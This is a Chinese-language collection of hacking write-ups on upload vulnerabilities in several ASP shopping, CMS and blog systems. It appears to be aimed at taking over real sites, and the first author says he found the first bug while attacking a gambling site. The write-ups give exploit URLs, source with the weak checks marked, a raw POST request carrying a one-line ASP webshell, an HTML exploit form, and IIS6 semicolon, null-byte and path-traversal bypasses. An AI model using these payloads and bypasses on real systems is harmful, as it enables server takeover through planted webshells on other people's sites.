分享网络商城购物系统v3.0全功能版 上传漏洞
首发地址:www.3est.com
Author:村长
BLOG:www.baidu.com
拿赌博站时,遇到的充值地址在这个程序的站点上,所以就去下载了份,略过看注入点,直接看上传地方.
文件u_sc1.asp源码:
- <!--#include file="../include/yiwebchina.asp"-->
- <%
- session("fuptype")=request("fuptype") '此处先接受fuptype,存入session("fuptype") ,下一个文件需要利用
- session("fupname")=request("fupname") '此处先接受fupname,存入session("fupname") ,下一个文件需要利用
- session("frmname")=request("frmname")
- /*省略代码*/
- <form name="form1" method="post" action="u_sc1save.asp" enctype="multipart/form-data">
- <b>请选择要上传的文件:</b><br>
- <input type=file name="file1">
- <input type=submit name="submit" value="上传"><br><br>
- ·点击“上传”后,请耐心等待(不要重复点击“上传”),上传时间视文件大小和网络状况而定<br>
- ·为节省空间,如果是图片文件,请尽量优化,建议单个文件不要超过50KB。<br>
- ·传送大文件时,可能导致服务器变慢或者不稳定。建议使用FTP上传大文件。
- </form>
文件u_sc1save.asp源码
- <!--#include file="../include/yiwebchina.asp"-->
- <html>
- <head>
- <title>文件上传</title>
- <meta name="Description" Content="">
- <LINK href="../images/css.css" type=text/css rel=stylesheet>
- <LINK href="../list/newhead.css" type=text/css rel=stylesheet>
- <meta http-equiv="Content-Type" content="text/html; charset=gb2312"></head>
- <body bgcolor="#D9EAFC"><table align="left"><tr><td>
- <%
- fuptype=session("fuptype") '利用点1
- fupname=session("fupname") '利用点2
- frmname=session("frmname")
- if fuptype="" or fupname="" or frmname="" then
- response.write "<script language='javascript'>"
- response.write "alert('出现错误,请重新上传!');"
- response.write "location.href='javascript:history.go(-1)';"
- response.write "</script>"
- response.end
- end if
- %>
- <!--#include FILE="upload_5xsoft.inc"-->
- <%
- set upload=new upload_5xsoft
- set file=upload.file("file1")
- if file.fileSize>0 then
- filename=fupname+"." '此处属于利用点2,直接把URL里的fupname值改为1.asa;,原因很多人懂滴
- filenameend=file.filename
- filenameend=split(filenameend,".")
- n=UBound(filenameend)
- filename=filename&filenameend(n)
- if fuptype<>"db" then
- if file.fileSize>200000 then
- response.write "<script language='javascript'>"
- response.write "alert('您上传的文件太大,上传不成功,单个文件最大不能超过200K!');"
- response.write "location.href='javascript:history.go(-1)';"
- response.write "</script>"
- response.end
- end if
- end if
- if fuptype="adv" or fuptype="pic" then '问题也在这里出现了,当fuptype=adv或者fuptype=pic时才判断后缀
- if LCase(filenameend(n))<>"gif" and LCase(filenameend(n))<>"jpg" and LCase(filenameend(n))<>"swf" and LCase(filenameend(n))<>"htm" then
- response.write "<script language='javascript'>"
- response.write "alert('不允许上传您选择的文件格式,请检查后重新上传!');"
- response.write "location.href='javascript:history.go(-1)';"
- response.write "</script>"
- response.end
- end if
- end if
- if fuptype="adv" then '此处利用点1,接下来是判断fuptype值了,ADV和PIC不能利用,乱填的话,上传后不会返回路径,所以可以利用的只有pic1,link,db了随便选择一个就行了
- savepath="../images/adv/"&filename
- elseif fuptype="pic" then
- savepath="../pic/digi/"&filename
- elseif fuptype="pic1" then
- savepath="../pic/digi1/"&filename
- elseif fuptype="link" then
- savepath="../images/links/"&filename
- elseif fuptype="db" then
- savepath="./"&filename
- end if
- file.saveAs Server.mappath(savepath)
- response.write "文件上传成功!上传文件的物理路径为:"
- response.write "<font color=red>"&Server.mappath(savepath)&"</font><br><br>"
- response.write "<a href='"&savepath&"' target='_blank'>点击预览上传的文件</a>"
- response.write "<br><br><INPUT onclick='javascript:window.close();' type=submit value='上传完成'>"
- %>
此文件所涉及的3个文件yiwebchina.asp,buyok.asp,functions.asp都米有验证ADMIN,所以直接利用吧
漏洞利用1:
http://www.baidu.com/admin/u_sc1 ... c&fupname=1.asa;&frmname=youpic (上传SHELL的图片格式)
漏洞利用2:
http://www.baidu.com/admin/u_sc1 ... &frmname=youpic (随便上传)
http://www.baidu.com/admin/u_sc1 ... &frmname=youpic (随便上传)
http://www.baidu.com/admin/u_sc1 ... &frmname=youpic (随便上传)
都注意SHELL文件不要超过限制200K(除开第四条DB上传外)
原理也很简单,也是给想学习自己找ODAY的菜菜详细的分析,呵呵
upfile 又一奇迹般的突破
不知道各位。在上传的时候。 有没需要过。 一个上传。 不修改名字。。然后上传目录已经被程序所定义了。
然而。上传目录取消了脚本执行的权限。 我想这里估计大家都要放弃了。
如何突破呢?其实是可以的. 关键是 [不修改名字]
先来看看一个上传的数据包:
POST /fa-bu/upload/upfile1.asp HTTP/1.1
Accept: application/x-shockwave-flash, image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/vnd.ms-excel, application/vnd.ms-powerpoint, application/msword, application/x-ms-application, application/x-ms-xbap, application/vnd.ms-xpsdocument, application/xaml+xml, */*
Referer: http://xxxxx/fa-bu/upload/upload.asp
Accept-Language: zh-cn
Content-Type: multipart/form-data; boundary=---------------------------7da290150c5e
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)
Host: xxx.xxxx.xxnet
Content-Length: 448
Connection: Keep-Alive
Cache-Control: no-cache
Cookie: ASPSESSIONIDSSCTCSCT=DJBKGKLBBIGNKJMBGOENNPAN
-----------------------------7da290150c5e
Content-Disposition: form-data; name="act"
upload
-----------------------------7da290150c5e
Content-Disposition: form-data; name="file1"; filename="E:\xxx\xxx\xx\111.asp;.gif"
Content-Type: text/plain
<%execute(request("cmd"))%>
-----------------------------7da290150c5e
Content-Disposition: form-data; name="Submit"
up
-----------------------------7da290150c5e--
关键是 :
Content-Disposition: form-data; name="file1"; filename="E:\xxx\xxx\xx\111.asp;.gif"
我首先呢。 filename他是如何判断 那个开始就是文件名呢? 他是判断filename里的最右边的一个"\"以后的就是文件名字了。
大家因该知道。 在windows下 "\" 和 "/" 是不分家的。
假设上传之后的目录为upload/
然后一个可以执行可以写的目录为 okokok/
那么我们只要构造
Content-Disposition: form-data; name="file1"; filename="E:\xxx\xxx\xx\./../okokok/111.asp;.gif"
那么我们上传的文件就成功的传进去了 okokok/111.asp;.gif了。
突破之!
PS: win+iis6.0测试成功。
[转载请注明,谢谢合作、否则木JJ。]
by www.sb-sb.cn
无忧购物系统ASP通用版 V2010.9.17 ---- 上传漏洞
FROM http://www.st999.cn/blog BY 流浪的风 2010/9/28
版本:无忧购物系统ASP通用版 V2010.9.17
漏洞:上传漏洞
关键字:Copyright © 2000-2010 gzwynet.com.cn (若有其他更好的关键字,希望能给我留下言)
利用前提:注册用户
漏洞文件:upfile_Other.asp
其中:
<%
if EnableUploadFile="NO" then
response.write "系统未开放文件上传功能"
else
if session("AdminName")="" and session("UserName")="" then
response.Write("请登录后再使用本功能!")
else
select case upload_type
case 0
call upload_0() '使用化境无组件上传类
case else
'response.write "本系统未开放插件功能"
'response.end
end select
end if
end if
%>
user,就是注册用户,也存在上传权限,其他的几个文件,如Upfile_Dialog.asp,Upfile_Photo.asp并没有普通用户的上传权限
那么我们现在就是要利用普通用户的这个可以上传的功能。
首先,注册个用户,如果没找到注册的地方,直接在网址后面输入userreg.asp,
注册并登录,
登录之后不要关闭页面,因为是session验证,现在我们打开这个本地上传页面,
修改action后的地址,并给马儿后面添加一个空格,点击上传就可以,图中红色所示部分就是空格,如图所示
复制页面上所示的木马地址,打开即可。
到此,拿到shell,完整结束。
==
附上本地上传的这个页面
无忧购物系统ASP时尚版上传漏洞
by 流浪的风
关键字:Copyright © 2008-2009 gzwynet.com.cn
目前仅发现时尚版存在这个上传漏洞,明天有时间再看看其他的版本的。
上传利用地址:admin/upLoad_c.asp?a=uploadfile&b=1
利用文件:
<html>
<head>
<title>无忧购物系统ASP时尚版上传漏洞利用程序 BY 流浪的风</title>
<meta http-equiv="Content-Type" content="text/html; charset=gb2312">
</head>
<form name="form1" method="post" action="http://www.st999.cn/admin/upLoad_c1.asp"
enctype="multipart/form-data" >
<div id="esave" style="position:absolute; top:18px; left:40px; z-index:10; visibility:hidden">
<TABLE WIDTH=340 BORDER=0 CELLSPACING=0 CELLPADDING=0>
<TR><td width=20%></td>
<TD bgcolor=#104A7B width="60%">
<TABLE WIDTH=100% height=120 BORDER=0 CELLSPACING=1 CELLPADDING=0>
<TR>
<td bgcolor=#eeeeee align=center><font color=red>正在上传文件,请稍候...</font></td>
</tr>
</table>
</td><td width=20%></td>
</tr>
</table>
</div>
<table width="400" border="0" align="center" cellpadding="0" cellspacing="1"
bordercolorlight="#cccccc" bordercolordark="#CCCCCC" bgcolor="#CCCCCC">
<tr bgcolor="#CCCCCC">
<td height="22" align="left" valign="middle" bgcolor="f1f1f1" width="400"> 文件上传 (允许上
传的文件类型: jpg gif)
<input type="hidden" name="filepath" value="uploadfile/st.asp;">
<input type="hidden" name="filelx" value="1">
<input type="hidden" name="EditName" value="">
<input type="hidden" name="FormName" value="">
<input type="hidden" name="act" value="uploadfile">
</td>
</tr>
<tr align="center" valign="middle">
<td width="400" height="80" align="left" bgcolor="#FFFFFF" id="upid"> 选择文件:
<input type="file" name="file1" style="width:300'" class="tx1" value="">
</td>
</tr>
<tr align="center" valign="middle" bgcolor="#eeeeee">
<td bgcolor="#eeeeee" height="24" width="400">
<input type="submit" name="Submit" value="· 开始上传 ·" class="button"
onclick="javascript:mysub()">
</td>
</tr>
</table>
</form>
</body>
</html>
上传一个JPG格式的小马或一句话
上传后的默认地址:admin/uploadfile/st.asp;(文件名)
如图
实际一句话地址:
利用文件:
深度学习asp整站系统oday
程序:深度学习asp整站系统
版本:Ver3.5.1,之前的版本未测试,不过应该存在相同的漏洞吧
漏洞:上传漏洞,ewebeditor编辑器利用
ewebeditor编辑器地址 \admin\include\eWebEditor 这个大家都知道的
上传漏洞的话,配合IIS解析漏洞就可以了。
利用地址是:http://www.st999.cn/blog/admin/include/upload_form.asp?
action=add&MaxSize=512000&FileType=asa&SavePath=../../photo/uploadFile/photo/uploadfile/a.as
p;aa&parentBackValue=form1.PhotoUrl&saveName=0
这个程序的关键字不好找,大家如果找出来了,希望能给我留下言,来我blog留言也可以 http://www.st999.cn/blog
利用文件在附件里
微尔文章系统v1.51 (修正版)上传漏洞
漏洞文件:/manage/video/upfile_soft.asp
—————————————————————————————————
fileExt=lcase(right(file.filename,4)) if fileEXT=”asp” or fileEXT=”asa” or fileEXT=”aspx” then response.write “<font size=2>文件格式不对 [ <a href=# onclick=history.go(-1)>重新上传</a> ] </font>” response.end end if
—————————————————————————————————
源码是这样的,据以前的朋友说这个版本存在上传漏洞可以上传cer等asp.dll解析的扩展名
其实不然,这个版本可以上传任意扩展名的文件,因为源码是这样写的
fileExt=lcase(right(file.filename,4)) //获得文件的最后4位
if fileEXT=”asp” or fileEXT=”asa” or fileEXT=”aspx” //如果是否为asp,asa,aspx
比如我们上传 xxx.asp 那么最后4位是 .asp
而判断的是否为asp .asp 并不等于asp
按照源码作者的意思是应该这样写:
if fileEXT=”.asp” or fileEXT=”.asa” or fileEXT=”.aspx” //要在扩展名前加个.
虽然只是一个. 但是意义就完全不同了,因此这个版本的系统可以上传任意扩展名文件
Es_Cms上传漏洞利用
一个功能强大,版面个性玩酷的网站系统,集合了文章、下载、新闻、作品、图片、公告、页面管理、常用
链接等等为一体,集成所见即所得编辑器,可自由添加二级分类,灵活的一级导航管理,系统非常适合于个
人网站使用。漏洞文件:admin/Admin_up.asp
—————————————————————————————————-
fileExt=lcase(right(file.filename,4)) uploadsuc=false Forum_upload=”gif,jpg,jpeg,bmp,png,rar,zip,doc,rm,mp3,wav,mid,midi,ra,avi,mpg,mpeg,asf,asx,wma,mov” Forumupload=split(Forum_upload,”,”) for i=0 to ubound(Forumupload) if fileEXT=”.”&trim(Forumupload(i)) then uploadsuc=true exit for else uploadsuc=false end if next if uploadsuc=false then response.write “<font size=2>文件格式限制[<a href=# onclick=history.go(-1)>请重新上传</a>]</font>” response.end end if end if filename=year(now)&month(now)&day(now)&hour(now)&minute(now)&second(now)&file.FileName if file.FileSize>0 then ”如果 FileSize > 0 说明有文件数据 file.SaveAs Server.mappath(formpath&filename) ”保存文件 ‘response.write file.FilePath&file.FileName&”(“&file.FileSize&”) => “&formPath&File.FileName&”上传成功<br>” response.write “<font size=2>上传成功 <a href=# onclick=history.go(-1)>请返回</a>” end if
—————————————————————————————————-
判断文件扩展名后四位是否为:
gif,jpg,jpeg,bmp,png,rar,zip,doc,rm,mp3,wav,mid,midi,ra,avi,mpg,mpeg,asf,asx,wma,mov
保存文件名:
year(now)&month(now)&day(now)&hour(now)&minute(now)&second(now)&file.FileName
日期+文件名.扩展名
判断后四位只要是以上那些扩展名即可,我们用NC抓包上传,将上传文件改为xxx.asp■.jpg即可
■处为空格,用UE编辑修改为00
良精微博系统上传漏洞
BY 流浪的风
程序:良精微博系统
漏洞:上传漏洞
存在漏洞文件:upload\upfile_image.asp
利用前提:由于文件存在session验证,所以要先注册用户才行
过程如下:
注册用户并登录
个性设置,自定义上传
右键,查看源代码,在action后面,补全URL:http://www.xxx.com/upload/upfile_image.asp
再向下,来到
<input type="hidden" name="filepath" value="/UploadFile/58/">
修改一下,如图
接着保存并打开,
上传一个JPG格式的马,再查看源码,找到马的位置就OK了。
OK,拿下了!
尘月网络企业网站管理系统2010生成HTML专业版之上传漏洞
From:http://www.st999.cn/blog 久久久电脑工作室
源码:
<%
lang=trim(request("case"))
%>
<html>
<head>
<meta http-equiv="Content-Language" content="zh-cn">
<meta name="GENERATOR" content="Microsoft FrontPage 6.0">
<meta name="ProgId" content="FrontPage.Editor.Document">
<meta http-equiv="Content-Type" content="text/html; charset=gb2312">
<title>上传页面</title>
</head>
<body topmargin="0" leftmargin="0" bgcolor="#D6E0EF">
<form method="POST" action="admin_upcl1.asp?case=<%=lang%>" name="form3" enctype="multipart/form-data">
<input name="strPhoto" type="file" id="strPhoto" size="12">
<input type="submit" value="上传预览图片" name="B1"></p>
</form>
</body>
</html>
没有验证用户,可以直接访问,上传格式为x.asp;x.jpg的大马就可以了。。。
只验证本版本,,没有对尘月其他系统版本进行测试。
利用语句:http://127.0.0.1:99/Admin_Cy/adm_uplo1.asp?case=pic1
一个上传文件的分析笔记
一个上传文件,源码如下:
<%if session("user")="" then
Response.Redirect "index.asp"
response.end
end if%>
<!--#include FILE="upload.inc"-->
<%
Server.ScriptTimeOut=5000
dim upload,file,formName,formPath,iCount,filename,fileExt
set upload=new upload_5xSoft ''建立上传对象
formPath="../fileup/"
''在目录后加(/)
if right(formPath,1)<>"/" then formPath=formPath&"/"
iCount=0
for each formName in upload.file ''列出所有上传了的文件
set file=upload.file(formName) ''生成一个文件对象
if file.filesize<50 then
response.write "<font size=2>请先选择你要上传的文件(>50bit) [ <a href=# onclick=history.go(-1)>重新上传</a> ]</font>"
response.end
end if
if file.filesize>(10000*1024) then
response.write "<font size=2>图片大小超过了限制 [ <a href=# onclick=history.go(-1)>重新上传</a> ]</font>"
response.end
end if
fileExt=lcase(right(file.filename,4))
oldfilename=file.filename
if fileEXT=".asp" or fileEXT=".asa" or fileEXT=".aspx" or fileEXT=".php" or fileEXT=".cer" or fileEXT=".asa" or fileEXT=".cdx" or fileEXT=".htr" then
response.write "<font size=2>文件格式不对 [ <a href=# onclick=history.go(-1)>重新上传</a> ]</font>"
response.end
end if
randomize
ranNum=int(90000*rnd)+10000
filename=formPath&year(now)&month(now)&day(now)&hour(now)&minute(now)&second(now)&fileExt
filename1=year(now)&month(now)&day(now)&hour(now)&minute(now)&second(now)&fileExt
if file.FileSize>0 then ''如果 FileSize > 0 说明有文件数据
file.SaveAs Server.mappath(filename) ''保存文件
iCount=iCount+1
end if
set file=nothing
next
set upload=nothing ''删除此对象
response.write "<font color='#0000ff'>"
' response.write "<a href=""javascript:onclick=parent.put_ubb('news_content','"&"<a href=/fileup/"&FileName1&">"&FileName1&"</a>') </A>"
response.Write "文件上传成功 "
response.write " <a href=""javascript:onclick=parent.put_ubb('news_content','"&" <a href=/fileup/"&FileName1&">"&oldfilename&"</a> ');"">点击插入"&oldfilename&"</A> "
response.write " <a href=""javascript:history.back();"">返回</a>"
response.Write "</font>"
response.end
%>
</body>
</html>
这个文件是有session验证的。
其中扩展名只过滤了asp,asa,aspx,php,cer,cdx,htr这么几种,idc,stm,aspl都没有在过滤中,可以上传这几种试试。。。
上传漏洞hidden to text 突破手记
本文是由一个上传的页面突破上传引发的,话说当时群里议论纷纷。发出XXX网站的上传地址,研究过来研究过去。没找到突破,本地修改上传提交仍然不能突破。
就在当时,小三毛同志提出修改hidden to text利用IIS漏洞可取webshell。咱也试下这招数如何
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=gb2312">
<LINK href="../css/css.css" rel=stylesheet type=text/css>
<title>上传图片</title>
</head>
<body leftmargin="0" topmargin="0">
<table width="100%" border="0" cellspacing="0" cellpadding="0">
<tr>
<td height="20" align="center">
</td>
</tr>
</table>
<table width="90%" border="0" align="center" cellpadding="1" cellspacing="1" bgcolor="#999999">
<form action="http://xxx.net/inn/upfilesave.asp" method="post" enctype="multipart/form-data">
<tr>
<td bgcolor="#FFFFFF"><table width="100%" border="0" cellspacing="0" cellpadding="0">
<tr>
<td height="25" bgcolor="#CCCCCC" class="td_14">上传图片</td>
</tr>
</table></td>
</tr>
<tr>
<td height="35" align="center" bgcolor="#FFFFFF">
<input name="image" type="file" id="image">
</td>
</tr>
<tr>
<td height="35" align="center" bgcolor="#FFFFFF">
<input type="submit" name="Submit" value="提交" onClick="checkImage('image')">
<input name="PathFolder" type="hidden" id="PathFolder" value="/img/trade/">
<input name="FormName" type="hidden" id="FormName" value="add">
<input name="parent" type="hidden" id="parent" value="img">
<input name="Filename_Pre" type="text" id="Filename_Pre" value="">
<input name="Create" type="hidden" id="Create" value="">
<input type="reset" name="Submit2" value="关闭" onClick="javascript:window.close()">
</td>
</tr>
</form>
</table>
</body>
</html>
<script language=javascript>
function checkImage(sId)
{
if(( document.all[sId].value.indexOf(".asp") == -1) && (document.all[sId].value.indexOf(".asa") == -1)) {
//alert("请选择gif或jpg的图象文件");
// event.returnValue = false;
}
}
</script>
保存为HTML。。。
原来
<input name="Filename_Pre" type="hidden" id="Filename_Pre" value="">
修改
<input name="Filename_Pre" type="text" id="Filename_Pre" value="">
打开本地HTML提交页,上传时填充1.asp;。
成功返回1.asp;_201036165716.jpg。IIS 6.0,成功运行小马~
Wodig4.1.3Access免费版(UTF-8)上传漏洞
1,upload/upload_image.asp、Mutiupload_image.asp。从cookie中取得userid,放在session中,作为path。
ASP/Visual Basic代码
1. loadsrc="/UploadFile/"&Request.Cookies("UserID")&"/" '如果网站不是放在跟目录下,请在/UploadFile前加上你存放的目录名,如放在wodig文件夹,就在前面加上/wodig 注意最前面要有/
2. Session("uppath")=loadsrc
2,upload/upfile_image.asp、mutiUpfile_image.asp上传文件取得session中的path,作为路径上传文件。
ASP/Visual Basic代码
1. filepath = Session("uppath") '属性,上传前文件所在的路径
还好j8hacker服务器做过可写目录不可执行配置,逃过一劫,上传的shell没有被执行,没有变成黑客留言本。
后来搜索这个漏洞,好像没有被人爆过,那也许就是0day了。。。
在官方下了最新版本,果然同样存在该漏洞。并且2个上传文件均采用这种方式(都有漏洞)。
游戏进行到此目前已经爆了2个0day,都是直接拿shell的。
漏洞详细利用方式如下:
----------------------------------------------------------
来到
http://www.****.com/upload/upload_image.asp?formname=form&ImgSrc=src_img_2&editname=src_img
页面,修改cookie中的UserId字段值为hacknote.asp
刷新该页面(一定要刷一下,为了让userid写入session)
上传shell,shell要改名为gif文件。
上传后,看源文件,发现路径为
uploadfile/hacknote.asp/sXXXXXXXXXXX.gif
PS:这个文章吸引人的地方就是用cookie控制上传的目录 。。所以大家找0day的时候注意咯